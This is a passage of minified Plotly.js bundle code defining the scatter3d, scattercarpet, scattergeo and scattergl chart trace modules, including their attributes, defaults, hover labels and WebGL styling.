0&&(N*=x.marker.opacity),B={gl:this.scene.glplot.gl,position:z.position,color:z.scatterColor,size:z.scatterSize,glyph:z.scatterMarker,opacity:N,orthographic:!0,lineWidth:z.scatterLineWidth,lineColor:z.scatterLineColor,project:z.project,projectScale:z.projectScale,projectOpacity:z.projectOpacity},this.mode.indexOf("markers")!==-1?this.scatterPlot?this.scatterPlot.update(B):(this.scatterPlot=P(B),this.scatterPlot._trace=this,this.scatterPlot.highlightScale=1,this.scene.glplot.add(this.scatterPlot)):this.scatterPlot&&(this.scene.glplot.remove(this.scatterPlot),this.scatterPlot.dispose(),this.scatterPlot=null),F={gl:this.scene.glplot.gl,position:z.position,glyph:z.text,color:z.textColor,size:z.textSize,angle:z.textAngle,alignment:z.textOffset,font:z.textFont,orthographic:!0,lineWidth:0,project:!1,opacity:x.opacity},this.textLabels=x.hovertext||x.text,this.mode.indexOf("text")!==-1?this.textMarkers?this.textMarkers.update(F):(this.textMarkers=P(F),this.textMarkers._trace=this,this.textMarkers.highlightScale=1,this.scene.glplot.add(this.textMarkers)):this.textMarkers&&(this.scene.glplot.remove(this.textMarkers),this.textMarkers.dispose(),this.textMarkers=null),_={gl:this.scene.glplot.gl,position:z.position,color:z.errorColor,error:z.errorBounds,lineWidth:z.errorLineWidth,capSize:z.errorCapSize,opacity:x.opacity},this.errorBars?z.errorBounds?this.errorBars.update(_):(this.scene.glplot.remove(this.errorBars),this.errorBars.dispose(),this.errorBars=null):z.errorBounds&&(this.errorBars=o(_),this.errorBars._trace=this,this.scene.glplot.add(this.errorBars)),z.delaunayAxis>=0){var G=b(z.position,z.delaunayColor,z.delaunayAxis);G.opacity=x.opacity,this.delaunayMesh?this.delaunayMesh.update(G):(G.gl=I,this.delaunayMesh=L(G),this.delaunayMesh._trace=this,this.scene.glplot.add(this.delaunayMesh))}else this.delaunayMesh&&(this.scene.glplot.remove(this.delaunayMesh),this.delaunayMesh.dispose(),this.delaunayMesh=null)},c.dispose=function(){this.linePlot&&(this.scene.glplot.remove(this.linePlot),this.linePlot.dispose()),this.scatterPlot&&(this.scene.glplot.remove(this.scatterPlot),this.scatterPlot.dispose()),this.errorBars&&(this.scene.glplot.remove(this.errorBars),this.errorBars.dispose()),this.textMarkers&&(this.scene.glplot.remove(this.textMarkers),this.textMarkers.dispose()),this.delaunayMesh&&(this.scene.glplot.remove(this.delaunayMesh),this.delaunayMesh.dispose())};function C(x,I){var k=new y(x,I.uid);return k.update(I),k}te.exports=C},21428:function(te,Z,e){var M=e(73972),P=e(71828),o=e(34098),L=e(49508),S=e(11058),d=e(82410),g=e(44542);te.exports=function(f,a,l,u){function s(w,E){return P.coerce(f,a,g,w,E)}var y=t(f,a,s,u);if(!y){a.visible=!1;return}s("text"),s("hovertext"),s("hovertemplate"),s("xhoverformat"),s("yhoverformat"),s("zhoverformat"),s("mode"),o.hasLines(a)&&(s("connectgaps"),S(f,a,l,u,s)),o.hasMarkers(a)&&L(f,a,l,u,s,{noSelect:!0,noAngle:!0}),o.hasText(a)&&(s("texttemplate"),d(f,a,u,s,{noSelect:!0}));var c=(a.line||{}).color,b=(a.marker||{}).color;s("surfaceaxis")>=0&&s("surfacecolor",c||b);for(var h=["x","y","z"],i=0;i<3;++i){var v="projection."+h[i];s(v+".show")&&(s(v+".opacity"),s(v+".scale"))}var T=M.getComponentMethod("errorbars","supplyDefaults");T(f,a,c||b||l,{axis:"z"}),T(f,a,c||b||l,{axis:"y",inherit:"z"}),T(f,a,c||b||l,{axis:"x",inherit:"z"})};function t(r,f,a,l){var u=0,s=a("x"),y=a("y"),c=a("z"),b=M.getComponentMethod("calendars","handleTraceDefaults");return b(r,f,["x","y","z"],l),s&&y&&c&&(u=Math.min(s.length,y.length,c.length),f._length=f._xlength=f._ylength=f._zlength=u),u}},13551:function(te,Z,e){te.exports={plot:e(58925),attributes:e(44542),markerSymbols:e(87381),supplyDefaults:e(21428),colorbar:[{container:"marker",min:"cmin",max:"cmax"},{container:"line",min:"cmin",max:"cmax"}],calc:e(36563),moduleType:"trace",name:"scatter3d",basePlotModule:e(58547),categories:["gl3d","symbols","showLegend","scatter-like"],meta:{}}},97001:function(te,Z,e){var M=e(82196),P=e(9012),o=e(5386).fF,L=e(5386).si,S=e(50693),d=e(1426).extendFlat,g=M.marker,t=M.line,r=g.line;te.exports={carpet:{valType:"string",editType:"calc"},a:{valType:"data_array",editType:"calc"},b:{valType:"data_array",editType:"calc"},mode:d({},M.mode,{dflt:"markers"}),text:d({},M.text,{}),texttemplate:L({editType:"plot"},{keys:["a","b","text"]}),hovertext:d({},M.hovertext,{}),line:{color:t.color,width:t.width,dash:t.dash,backoff:t.backoff,shape:d({},t.shape,{values:["linear","spline"]}),smoothing:t.smoothing,editType:"calc"},connectgaps:M.connectgaps,fill:d({},M.fill,{values:["none","toself","tonext"],dflt:"none"}),fillcolor:M.fillcolor,marker:d({symbol:g.symbol,opacity:g.opacity,maxdisplayed:g.maxdisplayed,angle:g.angle,angleref:g.angleref,standoff:g.standoff,size:g.size,sizeref:g.sizeref,sizemin:g.sizemin,sizemode:g.sizemode,line:d({width:r.width,editType:"calc"},S("marker.line")),gradient:g.gradient,editType:"calc"},S("marker")),textfont:M.textfont,textposition:M.textposition,selected:M.selected,unselected:M.unselected,hoverinfo:d({},P.hoverinfo,{flags:["a","b","text","name"]}),hoveron:M.hoveron,hovertemplate:o()}},34618:function(te,Z,e){var M=e(92770),P=e(36922),o=e(75225),L=e(66279),S=e(47761).calcMarkerSize,d=e(22882);te.exports=function(t,r){var f=r._carpetTrace=d(t,r);if(!(!f||!f.visible||f.visible==="legendonly")){var a;r.xaxis=f.xaxis,r.yaxis=f.yaxis;var l=r._length,u=new Array(l),s,y,c=!1;for(a=0;a<l;a++)if(s=r.a[a],y=r.b[a],M(s)&&M(y)){var b=f.ab2xy(+s,+y,!0),h=f.isVisible(+s,+y);h||(c=!0),u[a]={x:b[0],y:b[1],a:s,b:y,vis:h}}else u[a]={x:!1,y:!1};return r._needsCull=c,u[0].carpet=f,u[0].trace=r,S(r,l),P(t,r),o(u,r),L(u,r),u}}},98965:function(te,Z,e){var M=e(71828),P=e(47581),o=e(34098),L=e(49508),S=e(11058),d=e(94039),g=e(82410),t=e(28908),r=e(97001);te.exports=function(a,l,u,s){function y(w,E){return M.coerce(a,l,r,w,E)}y("carpet"),l.xaxis="x",l.yaxis="y";var c=y("a"),b=y("b"),h=Math.min(c.length,b.length);if(!h){l.visible=!1;return}l._length=h,y("text"),y("texttemplate"),y("hovertext");var i=h<P.PTS_LINESONLY?"lines+markers":"lines";y("mode",i),o.hasLines(l)&&(S(a,l,u,s,y,{backoff:!0}),d(a,l,y),y("connectgaps")),o.hasMarkers(l)&&L(a,l,u,s,y,{gradient:!0}),o.hasText(l)&&g(a,l,s,y);var v=[];(o.hasMarkers(l)||o.hasText(l))&&(y("marker.maxdisplayed"),v.push("points")),y("fill"),l.fill!=="none"&&(t(a,l,u,y),o.hasLines(l)||d(a,l,y)),(l.fill==="tonext"||l.fill==="toself")&&v.push("fills");var T=y("hoveron",v.join("+")||"points");T!=="fills"&&y("hovertemplate"),M.coerceSelectionMarkerOpacity(l,y)}},16165:function(te){te.exports=function(e,M,P,o,L){var S=o[L];return e.a=S.a,e.b=S.b,e.y=S.y,e}},48953:function(te){te.exports=function(e,M){var P={},o=M._carpet,L=o.ab2ij([e.a,e.b]),S=Math.floor(L[0]),d=L[0]-S,g=Math.floor(L[1]),t=L[1]-g,r=o.evalxy([],S,g,d,t);return P.yLabel=r[1].toFixed(3),P}},22931:function(te,Z,e){var M=e(33720),P=e(71828).fillText;te.exports=function(L,S,d,g){var t=M(L,S,d,g);if(!t||t[0].index===!1)return;var r=t[0];if(r.index===void 0){var f=1-r.y0/L.ya._length,a=L.xa._length,l=a*f/2,u=a-l;return r.x0=Math.max(Math.min(r.x0,u),l),r.x1=Math.max(Math.min(r.x1,u),l),t}var s=r.cd[r.index];r.a=s.a,r.b=s.b,r.xLabelVal=void 0,r.yLabelVal=void 0;var y=r.trace,c=y._carpet,b=y._module.formatLabels(s,y);r.yLabel=b.yLabel,delete r.text;var h=[];function i(w,E){var p;w.labelprefix&&w.labelprefix.length>0?p=w.labelprefix.replace(/ = $/,""):p=w._hovertitle,h.push(p+": "+E.toFixed(3)+w.labelsuffix)}if(!y.hovertemplate){var v=s.hi||y.hoverinfo,T=v.split("+");T.indexOf("all")!==-1&&(T=["a","b","text"]),T.indexOf("a")!==-1&&i(c.aaxis,s.a),T.indexOf("b")!==-1&&i(c.baxis,s.b),h.push("y: "+r.yLabel),T.indexOf("text")!==-1&&P(s,y,h),r.extraText=h.join("<br>")}return t}},46858:function(te,Z,e){te.exports={attributes:e(97001),supplyDefaults:e(98965),colorbar:e(4898),formatLabels:e(48953),calc:e(34618),plot:e(1913),style:e(16296).style,styleOnSelect:e(16296).styleOnSelect,hoverPoints:e(22931),selectPoints:e(98002),eventData:e(16165),moduleType:"trace",name:"scattercarpet",basePlotModule:e(93612),categories:["svg","carpet","symbols","showLegend","carpetDependent","zoomScale"],meta:{}}},1913:function(te,Z,e){var M=e(32663),P=e(89298),o=e(91424);te.exports=function(S,d,g,t){var r,f,a,l=g[0][0].carpet,u=P.getFromId(S,l.xaxis||"x"),s=P.getFromId(S,l.yaxis||"y"),y={xaxis:u,yaxis:s,plot:d.plot};for(r=0;r<g.length;r++)f=g[r][0].trace,f._xA=u,f._yA=s;for(M(S,y,g,t),r=0;r<g.length;r++)f=g[r][0].trace,a=t.selectAll("g.trace"+f.uid+" .js-line"),o.setClipUrl(a,g[r][0].carpet._clipPathId,S)}},19316:function(te,Z,e){var M=e(5386).fF,P=e(5386).si,o=e(82196),L=e(9012),S=e(50693),d=e(79952).P,g=e(1426).extendFlat,t=e(30962).overrideAll,r=o.marker,f=o.line,a=r.line;te.exports=t({lon:{valType:"data_array"},lat:{valType:"data_array"},locations:{valType:"data_array"},locationmode:{valType:"enumerated",values:["ISO-3","USA-states","country names","geojson-id"],dflt:"ISO-3"},geojson:{valType:"any",editType:"calc"},featureidkey:{valType:"string",editType:"calc",dflt:"id"},mode:g({},o.mode,{dflt:"markers"}),text:g({},o.text,{}),texttemplate:P({editType:"plot"},{keys:["lat","lon","location","text"]}),hovertext:g({},o.hovertext,{}),textfont:o.textfont,textposition:o.textposition,line:{color:f.color,width:f.width,dash:d},connectgaps:o.connectgaps,marker:g({symbol:r.symbol,opacity:r.opacity,angle:r.angle,angleref:g({},r.angleref,{values:["previous","up","north"]}),standoff:r.standoff,size:r.size,sizeref:r.sizeref,sizemin:r.sizemin,sizemode:r.sizemode,colorbar:r.colorbar,line:g({width:a.width},S("marker.line")),gradient:r.gradient},S("marker")),fill:{valType:"enumerated",values:["none","toself"],dflt:"none"},fillcolor:o.fillcolor,selected:o.selected,unselected:o.unselected,hoverinfo:g({},L.hoverinfo,{flags:["lon","lat","location","text","name"]}),hovertemplate:M()},"calc","nested")},84622:function(te,Z,e){var M=e(92770),P=e(50606).BADNUM,o=e(36922),L=e(75225),S=e(66279),d=e(71828)._;function g(t){return t&&typeof t=="string"}te.exports=function(r,f){var a=Array.isArray(f.locations),l=a?f.locations.length:f._length,u=new Array(l),s;f.geojson?s=function(v){return g(v)||M(v)}:s=g;for(var y=0;y<l;y++){var c=u[y]={};if(a){var b=f.locations[y];c.loc=s(b)?b:null}else{var h=f.lon[y],i=f.lat[y];M(h)&&M(i)?c.lonlat=[+h,+i]:c.lonlat=[P,P]}}return L(u,f),o(r,f),S(u,f),l&&(u[0].t={labels:{lat:d(r,"lat:")+" ",lon:d(r,"lon:")+" "}}),u}},10659:function(te,Z,e){var M=e(71828),P=e(34098),o=e(49508),L=e(11058),S=e(82410),d=e(28908),g=e(19316);te.exports=function(r,f,a,l){function u(T,w){return M.coerce(r,f,g,T,w)}var s=u("locations"),y;if(s&&s.length){var c=u("geojson"),b;(typeof c=="string"&&c!==""||M.isPlainObject(c))&&(b="geojson-id");var h=u("locationmode",b);h==="geojson-id"&&u("featureidkey"),y=s.length}else{var i=u("lon")||[],v=u("lat")||[];y=Math.min(i.length,v.length)}if(!y){f.visible=!1;return}f._length=y,u("text"),u("hovertext"),u("hovertemplate"),u("mode"),P.hasLines(f)&&(L(r,f,a,l,u),u("connectgaps")),P.hasMarkers(f)&&o(r,f,a,l,u,{gradient:!0}),P.hasText(f)&&(u("texttemplate"),S(r,f,l,u)),u("fill"),f.fill!=="none"&&d(r,f,a,u),M.coerceSelectionMarkerOpacity(f,u)}},84084:function(te){te.exports=function(e,M,P,o,L){e.lon=M.lon,e.lat=M.lat,e.location=M.loc?M.loc:null;var S=o[L];return S.fIn&&S.fIn.properties&&(e.properties=S.fIn.properties),e}},82719:function(te,Z,e){var M=e(89298);te.exports=function(o,L,S){var d={},g=S[L.geo]._subplot,t=g.mockAxis,r=o.lonlat;return d.lonLabel=M.tickText(t,t.c2l(r[0]),!0).text,d.latLabel=M.tickText(t,t.c2l(r[1]),!0).text,d}},14977:function(te,Z,e){var M=e(30211),P=e(50606).BADNUM,o=e(34603),L=e(71828).fillText,S=e(19316);te.exports=function(t,r,f){var a=t.cd,l=a[0].trace,u=t.xa,s=t.ya,y=t.subplot,c=y.projection.isLonLatOverEdges,b=y.project;function h(A){var m=A.lonlat;if(m[0]===P||c(m))return 1/0;var n=b(m),C=b([r,f]),x=Math.abs(n[0]-C[0]),I=Math.abs(n[1]-C[1]),k=Math.max(3,A.mrc||0);return Math.max(Math.sqrt(x*x+I*I)-k,1-3/k)}if(M.getClosest(a,h,t),t.index!==!1){var i=a[t.index],v=i.lonlat,T=[u.c2p(v),s.c2p(v)],w=i.mrc||1;t.x0=T[0]-w,t.x1=T[0]+w,t.y0=T[1]-w,t.y1=T[1]+w,t.loc=i.loc,t.lon=v[0],t.lat=v[1];var E={};E[l.geo]={_subplot:y};var p=l._module.formatLabels(i,l,E);return t.lonLabel=p.lonLabel,t.latLabel=p.latLabel,t.color=o(l,i),t.extraText=d(l,i,t,a[0].t.labels),t.hovertemplate=l.hovertemplate,[t]}};function d(g,t,r,f){if(g.hovertemplate)return;var a=t.hi||g.hoverinfo,l=a==="all"?S.hoverinfo.flags:a.split("+"),u=l.indexOf("location")!==-1&&Array.isArray(g.locations),s=l.indexOf("lon")!==-1,y=l.indexOf("lat")!==-1,c=l.indexOf("text")!==-1,b=[];function h(i){return i+"°"}return u?b.push(t.loc):s&&y?b.push("("+h(r.latLabel)+", "+h(r.lonLabel)+")"):s?b.push(f.lon+h(r.lonLabel)):y&&b.push(f.lat+h(r.latLabel)),c&&L(t,g,b),b.join("<br>")}},17988:function(te,Z,e){te.exports={attributes:e(19316),supplyDefaults:e(10659),colorbar:e(4898),formatLabels:e(82719),calc:e(84622),calcGeoJSON:e(89171).calcGeoJSON,plot:e(89171).plot,style:e(33095),styleOnSelect:e(16296).styleOnSelect,hoverPoints:e(14977),eventData:e(84084),selectPoints:e(20548),moduleType:"trace",name:"scattergeo",basePlotModule:e(44622),categories:["geo","symbols","showLegend","scatter-like"],meta:{}}},89171:function(te,Z,e){var M=e(39898),P=e(71828),o=e(90973).getTopojsonFeatures,L=e(18214),S=e(41327),d=e(71739).findExtremes,g=e(50606).BADNUM,t=e(47761).calcMarkerSize,r=e(34098),f=e(33095);function a(u,s,y){var c=s.layers.frontplot.select(".scatterlayer"),b=P.makeTraceGroups(c,y,"trace scattergeo");function h(i,v){i.lonlat[0]===g&&M.select(v).remove()}b.selectAll("*").remove(),b.each(function(i){var v=M.select(this),T=i[0].trace;if(r.hasLines(T)||T.fill!=="none"){var w=L.calcTraceToLineCoords(i),E=T.fill!=="none"?L.makePolygon(w):L.makeLine(w);v.selectAll("path.js-line").data([{geojson:E,trace:T}]).enter().append("path").classed("js-line",!0).style("stroke-miterlimit",2)}r.hasMarkers(T)&&v.selectAll("path.point").data(P.identity).enter().append("path").classed("point",!0).each(function(p){h(p,this)}),r.hasText(T)&&v.selectAll("g").data(P.identity).enter().append("g").append("text").each(function(p){h(p,this)}),f(u,i)})}function l(u,s){var y=u[0].trace,c=s[y.geo],b=c._subplot,h=y._length,i,v;if(Array.isArray(y.locations)){var T=y.locationmode,w=T==="geojson-id"?S.extractTraceFeature(u):o(y,b.topojson);for(i=0;i<h;i++){v=u[i];var E=T==="geojson-id"?v.fOut:S.locationToFeature(T,v.loc,w);v.lonlat=E?E.properties.ct:[g,g]}}var p={padded:!0},A,m;if(c.fitbounds==="geojson"&&y.locationmode==="geojson-id"){var n=S.computeBbox(S.getTraceGeojson(y));A=[n[0],n[2]],m=[n[1],n[3]]}else{for(A=new Array(h),m=new Array(h),i=0;i<h;i++)v=u[i],A[i]=v.lonlat[0],m[i]=v.lonlat[1];p.ppad=t(y,h)}y._extremes.lon=d(c.lonaxis._ax,A,p),y._extremes.lat=d(c.lataxis._ax,m,p)}te.exports={calcGeoJSON:l,plot:a}},20548:function(te,Z,e){var M=e(34098),P=e(50606).BADNUM;te.exports=function(L,S){var d=L.cd,g=L.xaxis,t=L.yaxis,r=[],f=d[0].trace,a,l,u,s,y,c=!M.hasMarkers(f)&&!M.hasText(f);if(c)return[];if(S===!1)for(y=0;y<d.length;y++)d[y].selected=0;else for(y=0;y<d.length;y++)a=d[y],l=a.lonlat,l[0]!==P&&(u=g.c2p(l),s=t.c2p(l),S.contains([u,s],null,y,L)?(r.push({pointNumber:y,lon:l[0],lat:l[1]}),a.selected=1):a.selected=0);return r}},33095:function(te,Z,e){var M=e(39898),P=e(91424),o=e(7901),L=e(16296),S=L.stylePoints,d=L.styleText;te.exports=function(r,f){f&&g(r,f)};function g(t,r){var f=r[0].trace,a=r[0].node3;a.style("opacity",r[0].trace.opacity),S(a,f,t),d(a,f,t),a.selectAll("path.js-line").style("fill","none").each(function(l){var u=M.select(this),s=l.trace,y=s.line||{};u.call(o.stroke,y.color).call(P.dashLine,y.dash||"",y.width||0),s.fill!=="none"&&u.call(o.fill,s.fillcolor)})}},42341:function(te,Z,e){var M=e(9012),P=e(82196),o=e(12663).axisHoverFormat,L=e(50693),S=e(78607),d=e(1426).extendFlat,g=e(30962).overrideAll,t=e(78232).DASHES,r=P.line,f=P.marker,a=f.line,l=te.exports=g({x:P.x,x0:P.x0,dx:P.dx,y:P.y,y0:P.y0,dy:P.dy,xperiod:P.xperiod,yperiod:P.yperiod,xperiod0:P.xperiod0,yperiod0:P.yperiod0,xperiodalignment:P.xperiodalignment,yperiodalignment:P.yperiodalignment,xhoverformat:o("x"),yhoverformat:o("y"),text:P.text,hovertext:P.hovertext,textposition:P.textposition,textfont:P.textfont,mode:{valType:"flaglist",flags:["lines","markers","text"],extras:["none"]},line:{color:r.color,width:r.width,shape:{valType:"enumerated",values:["linear","hv","vh","hvh","vhv"],dflt:"linear",editType:"plot"},dash:{valType:"enumerated",values:S(t),dflt:"solid"}},marker:d({},L("marker"),{symbol:f.symbol,angle:f.angle,size:f.size,sizeref:f.sizeref,sizemin:f.sizemin,sizemode:f.sizemode,opacity:f.opacity,colorbar:f.colorbar,line:d({},L("marker.line"),{width:a.width})}),connectgaps:P.connectgaps,fill:d({},P.fill,{dflt:"none"}),fillcolor:P.fillcolor,selected:{marker:P.selected.marker,textfont:P.selected.textfont},unselected:{marker:P.unselected.marker,textfont:P.unselected.textfont},opacity:M.opacity},"calc","nested");l.x.editType=l.y.editType=l.x0.editType=l.y0.editType="calc+clearAxisTypes",l.hovertemplate=P.hovertemplate,l.texttemplate=P.texttemplate},72156:function(te,Z,e){var M=e(20794);te.exports={moduleType:"trace",name:"scattergl",basePlotModule:e(93612),categories:["gl","regl","cartesian","symbols","errorBarsOK","showLegend","scatter-like"],attributes:e(42341),supplyDefaults:e(47148),crossTraceDefaults:e(34936),colorbar:e(4898),formatLabels:e(68101),calc:e(45032),hoverPoints:M.hoverPoints,selectPoints:e(58147),meta:{}}},45032:function(te,Z,e){var M=e(88294),P=e(71828),o=e(41675),L=e(71739).findExtremes,S=e(42973),d=e(47761),g=d.calcMarkerSize,t=d.calcAxisExpansion,r=d.setFirstScatter,f=e(36922),a=e(19635),l=e(38967),u=e(50606).BADNUM,s=e(78232).TOO_MANY_POINTS;te.exports=function(h,i){var v=h._fullLayout,T=i._xA=o.getFromId(h,i.xaxis,"x"),w=i._yA=o.getFromId(h,i.yaxis,"y"),E=v._plots[i.xaxis+i.yaxis],p=i._length,A=p>=s,m=p*2,n={},C,x=T.makeCalcdata(i,"x"),I=w.makeCalcdata(i,"y"),k=S(i,T,"x",x),B=S(i,w,"y",I),_=k.vals,F=B.vals;i._x=_,i._y=F,i.xperiodalignment&&(i._origX=x,i._xStarts=k.starts,i._xEnds=k.ends),i.yperiodalignment&&(i._origY=I,i._yStarts=B.starts,i._yEnds=B.ends);var O=new Array(m),z=new Array(p);for(C=0;C<p;C++)O[C*2]=_[C]===u?NaN:_[C],O[C*2+1]=F[C]===u?NaN:F[C],z[C]=C;if(T.type==="log")for(C=0;C<m;C+=2)O[C]=T.c2l(O[C]);if(w.type==="log")for(C=1;C<m;C+=2)O[C]=w.c2l(O[C]);A&&T.type!=="log"&&w.type!=="log"?n.tree=M(O):n.ids=z,f(h,i);var N=c(h,E,i,O,_,F),G=l(h,E);r(v,i);var J;return A?N.marker&&(J=N.marker.sizeAvg||Math.max(N.marker.size,3)):J=g(i,p),t(h,i,T,w,_,F,J),N.errorX&&y(i,T,N.errorX),N.errorY&&y(i,w,N.errorY),N.fill&&!G.fill2d&&(G.fill2d=!0),N.marker&&!G.scatter2d&&(G.scatter2d=!0),N.line&&!G.line2d&&(G.line2d=!0),(N.errorX||N.errorY)&&!G.error2d&&(G.error2d=!0),N.text&&!G.glText&&(G.glText=!0),N.marker&&(N.marker.snap=p),G.lineOptions.push(N.line),G.errorXOptions.push(N.errorX),G.errorYOptions.push(N.errorY),G.fillOptions.push(N.fill),G.markerOptions.push(N.marker),G.markerSelectedOptions.push(N.markerSel),G.markerUnselectedOptions.push(N.markerUnsel),G.textOptions.push(N.text),G.textSelectedOptions.push(N.textSel),G.textUnselectedOptions.push(N.textUnsel),G.selectBatch.push([]),G.unselectBatch.push([]),n._scene=G,n.index=G.count,n.x=_,n.y=F,n.positions=O,G.count++,[{x:!1,y:!1,t:n,trace:i}]};function y(b,h,i){var v=b._extremes[h._id],T=L(h,i._bnds,{padded:!0});v.min=v.min.concat(T.min),v.max=v.max.concat(T.max)}function c(b,h,i,v,T,w){var E=a.style(b,i);if(E.marker&&(E.marker.positions=v),E.line&&v.length>1&&P.extendFlat(E.line,a.linePositions(b,i,v)),E.errorX||E.errorY){var p=a.errorBarPositions(b,i,v,T,w);E.errorX&&P.extendFlat(E.errorX,p.x),E.errorY&&P.extendFlat(E.errorY,p.y)}return E.text&&(P.extendFlat(E.text,{positions:v},a.textPosition(b,i,E.text,E.marker)),P.extendFlat(E.textSel,{positions:v},a.textPosition(b,i,E.text,E.markerSel)),P.extendFlat(E.textUnsel,{positions:v},a.textPosition(b,i,E.text,E.markerUnsel))),E}},78232:function(te){var Z=20;te.exports={TOO_MANY_POINTS:1e5,SYMBOL_SDF_SIZE:200,SYMBOL_SIZE:Z,SYMBOL_STROKE:Z/20,DOT_RE:/-dot/,OPEN_RE:/-open/,DASHES:{solid:[1],dot:[1,1],dash:[4,1],longdash:[8,1],dashdot:[4,1,1,1],longdashdot:[8,1,1,1]}}},19635:function(te,Z,e){var M=e(92770),P=e(82019),o=e(25075),L=e(73972),S=e(71828),d=e(91424),g=e(41675),t=e(81697).formatColor,r=e(34098),f=e(39984),a=e(68645),l=e(78232),u=e(37822).DESELECTDIM,s={start:1,left:1,end:-1,right:-1,middle:0,center:0,bottom:1,top:-1},y=e(23469).appendArrayPointValue;function c(k,B){var _,F={marker:void 0,markerSel:void 0,markerUnsel:void 0,line:void 0,fill:void 0,errorX:void 0,errorY:void 0,text:void 0,textSel:void 0,textUnsel:void 0},O=k._context.plotGlPixelRatio;if(B.visible!==!0)return F;if(r.hasText(B)&&(F.text=b(k,B),F.textSel=v(k,B,B.selected),F.textUnsel=v(k,B,B.unselected)),r.hasMarkers(B)&&(F.marker=h(k,B),F.markerSel=i(k,B,B.selected),F.markerUnsel=i(k,B,B.unselected),!B.unselected&&S.isArrayOrTypedArray(B.marker.opacity))){var z=B.marker.opacity;for(F.markerUnsel.opacity=new Array(z.length),_=0;_<z.length;_++)F.markerUnsel.opacity[_]=u*z[_]}if(r.hasLines(B)){F.line={overlay:!0,thickness:B.line.width*O,color:B.line.color,opacity:B.opacity};var N=(l.DASHES[B.line.dash]||[1]).slice();for(_=0;_<N.length;++_)N[_]*=B.line.width*O;F.line.dashes=N}return B.error_x&&B.error_x.visible&&(F.errorX=T(B,B.error_x,O)),B.error_y&&B.error_y.visible&&(F.errorY=T(B,B.error_y,O)),B.fill&&B.fill!=="none"&&(F.fill={closed:!0,fill:B.fillcolor,thickness:0}),F}function b(k,B){var _=k._fullLayout,F=B._length,O=B.textfont,z=B.textposition,N=Array.isArray(z)?z:[z],G=O.color,J=O.size,q=O.family,ne={},fe,X=k._context.plotGlPixelRatio,W=B.texttemplate;if(W){ne.text=[];var V=_._d3locale,Y=Array.isArray(W),Q=Y?Math.min(W.length,F):F,ie=Y?function(we){return W[we]}:function(){return W};for(fe=0;fe<Q;fe++){var j={i:fe},K=B._module.formatLabels(j,B,_),oe={};y(oe,B,fe);var re=B._meta||{};ne.text.push(S.texttemplateString(ie(fe),K,V,oe,j,re))}}else Array.isArray(B.text)&&B.text.length<F?ne.text=B.text.slice():ne.text=B.text;if(Array.isArray(ne.text))for(fe=ne.text.length;fe<F;fe++)ne.text[fe]="";for(ne.opacity=B.opacity,ne.font={},ne.align=[],ne.baseline=[],fe=0;fe<N.length;fe++){var le=N[fe].split(/\s+/);switch(le[1]){case"left":ne.align.push("right");break;case"right":ne.align.push("left");break;default:ne.align.push(le[1])}switch(le[0]){case"top":ne.baseline.push("bottom");break;case"bottom":ne.baseline.push("top");break;default:ne.baseline.push(le[0])}}if(Array.isArray(G))for(ne.color=new Array(F),fe=0;fe<F;fe++)ne.color[fe]=G[fe];else ne.color=G;if(S.isArrayOrTypedArray(J)||Array.isArray(q))for(ne.font=new Array(F),fe=0;fe<F;fe++){var pe=ne.font[fe]={};pe.size=(S.isTypedArray(J)?J[fe]:Array.isArray(J)?M(J[fe])?J[fe]:0:J)*X,pe.family=Array.isArray(q)?q[fe]:q}else ne.font={size:J*X,family:q};return ne}function h(k,B){var _=B._length,F=B.marker,O={},z,N=S.isArrayOrTypedArray(F.symbol),G=S.isArrayOrTypedArray(F.angle),J=S.isArrayOrTypedArray(F.color),q=S.isArrayOrTypedArray(F.line.color),ne=S.isArrayOrTypedArray(F.opacity),fe=S.isArrayOrTypedArray(F.size),X=S.isArrayOrTypedArray(F.line.width),W;if(N||(W=a.isOpenSymbol(F.symbol)),N||J||q||ne||G){O.symbols=new Array(_),O.angles=new Array(_),O.colors=new Array(_),O.borderColors=new Array(_);var V=F.symbol,Y=F.angle,Q=t(F,F.opacity,_),ie=t(F.line,F.opacity,_);if(!Array.isArray(ie[0])){var j=ie;for(ie=Array(_),z=0;z<_;z++)ie[z]=j}if(!Array.isArray(Q[0])){var K=Q;for(Q=Array(_),z=0;z<_;z++)Q[z]=K}if(!Array.isArray(V)){var oe=V;for(V=Array(_),z=0;z<_;z++)V[z]=oe}if(!Array.isArray(Y)){var re=Y;for(Y=Array(_),z=0;z<_;z++)Y[z]=re}for(O.symbols=V,O.angles=Y,O.colors=Q,O.borderColors=ie,z=0;z<_;z++)N&&(W=a.isOpenSymbol(F.symbol[z])),W&&(ie[z]=Q[z].slice(),Q[z]=Q[z].slice(),Q[z][3]=0);for(O.opacity=B.opacity,O.markers=new Array(_),z=0;z<_;z++)O.markers[z]=n({mx:O.symbols[z],ma:O.angles[z]},B)}else W?(O.color=o(F.color,"uint8"),O.color[3]=0,O.borderColor=o(F.color,"uint8")):(O.color=o(F.color,"uint8"),O.borderColor=o(F.line.color,"uint8")),O.opacity=B.opacity*F.opacity,O.marker=n({mx:F.symbol,ma:F.angle},B);var le=1,pe=f(B,le),we;if(fe||X){var xe=O.sizes=new Array(_),ke=O.borderSizes=new Array(_),_e=0,be;if(fe){for(z=0;z<_;z++)xe[z]=pe(F.size[z]),_e+=xe[z];be=_e/_}else for(we=pe(F.size),z=0;z<_;z++)xe[z]=we;if(X)for(z=0;z<_;z++)ke[z]=F.line.width[z];else for(we=F.line.width,z=0;z<_;z++)ke[z]=we;O.sizeAvg=be}else O.size=pe(F&&F.size||10),O.borderSizes=pe(F.line.width);return O}function i(k,B,_){var F=B.marker,O={};return _&&(_.marker&&_.marker.symbol?O=h(k,S.extendFlat({},F,_.marker)):_.marker&&(_.marker.size&&(O.size=_.marker.size),_.marker.color&&(O.colors=_.marker.color),_.marker.opacity!==void 0&&(O.opacity=_.marker.opacity))),O}function v(k,B,_){var F={};if(!_)return F;if(_.textfont){var O={opacity:1,text:B.text,texttemplate:B.texttemplate,textposition:B.textposition,textfont:S.extendFlat({},B.textfont)};_.textfont&&S.extendFlat(O.textfont,_.textfont),F=b(k,O)}return F}function T(k,B,_){var F={capSize:B.width*2*_,lineWidth:B.thickness*_,color:B.color};return B.copy_ystyle&&(F=k.error_y),F}var w=l.SYMBOL_SDF_SIZE,E=l.SYMBOL_SIZE,p=l.SYMBOL_STROKE,A={},m=d.symbolFuncs[0](E*.05);function n(k,B){var _=k.mx;if(_==="circle")return null;var F,O,z=d.symbolNumber(_),N=d.symbolFuncs[z%100],G=!!d.symbolNoDot[z%100],J=!!d.symbolNoFill[z%100],q=a.isDotSymbol(_);if(k.ma&&(_+="_"+k.ma),A[_])return A[_];var ne=d.getMarkerAngle(k,B);return 